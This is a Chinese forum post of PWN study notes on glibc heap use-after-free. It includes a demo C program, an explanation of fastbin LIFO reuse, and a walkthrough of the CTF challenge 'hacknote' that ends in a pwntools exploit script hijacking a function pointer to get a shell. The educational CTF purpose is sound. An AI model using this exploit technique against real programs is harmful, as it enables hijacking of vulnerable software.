首页
论坛
课程
招聘
[原创]PWN学习笔记【堆】【UAF】从实验到原理
2022-6-15 15:10 16463

[原创]PWN学习笔记【堆】【UAF】从实验到原理

2022-6-15 15:10
16463

开局一段代码:

#include <stdio.h>

void func1()
{
    printf("func1\n");
}

void hack()
{
    printf("hack\n");
}

struct Pfunc
{
    void (*p)();
};


int main()
{
    struct Pfunc* lpfunc = malloc(8);
    lpfunc->p = func1;
    lpfunc->p();

    free(lpfunc);


    long* hack_point = malloc(8);
    *hack_point = hack;

    lpfunc->p();
    return 0;
}

编译32位:gcc -g -m32 test.c 

猜一猜程序会怎么执行?

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

当当当当:

为啥会这样呢


glibc的ptmalloc在管理释放的内存叫bin,申请的堆块叫chunk

其中小chunk内存管理器叫fastbins,使用的是 LIFO的规则,后进先出。所以申请同样大小的小chunk,会使用最后一次free的chunk

执行完free过后,fastbins中存放了刚刚free的指针0x804b000

执行malloc(8)后,看到fastbins中的chunk指针没有了


看下hack_point的地址,确实是刚刚free的地址,此时两个指针指向同一块内存

为啥这两个指针=0x0804b008,而fastbins存的0x0804b000

在32位下chunk的结构:

struct chunk
{
    size_t 暂时不管;
    size_t size;//低3位不算长度
    char user_data[0];
}

刚好偏移是8





ok,搞清楚原理了,来一道题:hacknote

程序提供了记事本功能

其中add_note函数在notelist中找一个空位置用来写日记,但是删除日记del_note函数中却没有把指针置空。print_note函数可以使用已经free的指针,存在UAF漏洞。



现在的目标就是,把notelist[x]->pFunc= magic,然后使用已经free的notelist[x]

具体操作如下:

  1. 因为noteNode的大小为8,如果想准确控制第二个noteNode的pFunc,那么noteNode->note的大小不能是8。创建两个24字节的note后内存长这样:

    对照:


  2. 依次free  note[0],note[1],试fastbins变成这样:

    0x804b030是note[1]的chunk,0x804b000是note[0]的chunk

    也就是之后malloc(8)的时候,第一次会得到0x804b030,第二次会得到0x804b000

  3. 创建note[2],使note的大小=8,此时note的地址是0x804b008,仔细看看这个地址,就是note[0]的pFunc。把magic的地址写入,

    这时候note[0]->pFunc的值就是magic了

  4. 执行print_note(0) 执行0号note的pFunc函数,getshell




exp:

from pwn import *

context.log_level = 'debug'

sh = process("./hacknote")
# sh = gdb.debug("./hacknote", "b *add_note\nc")
elf = ELF("./hacknote")


def add_note(size, note=b"123"):
    sh.sendlineafter(b"Your choice :", b"1")
    sh.sendlineafter(b"Note size :", str(size).encode())
    sh.sendlineafter(b"Content :", note)

def del_note(index):
    sh.sendlineafter(b"Your choice :", b"2")
    sh.sendlineafter(b"Index :", str(index).encode())

def print_note(index):
    sh.sendlineafter(b"Your choice :", b"3")
    sh.sendlineafter(b"Index :", str(index).encode())

add_note(24)
add_note(24)

del_note(0)
del_note(1)

add_note(8, p32(elf.sym["magic"]))
print_note(0)

sh.interactive()
pause()



[招生]科锐逆向工程师培训46期预科班将于 2023年02月09日 正式开班

最后于 2022-6-15 17:29 被洋洋不得意编辑 ,原因: 修改描述错误
上传的附件:
收藏
点赞3
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/07/08 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (1)
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
菜鸡雪 活跃值 2022-9-5 17:31
2
0
师傅你ida是什么版本的,我f5 反编译出来的效果 没有你图中的noteList结构这种
游客
登录 | 注册 方可回帖
返回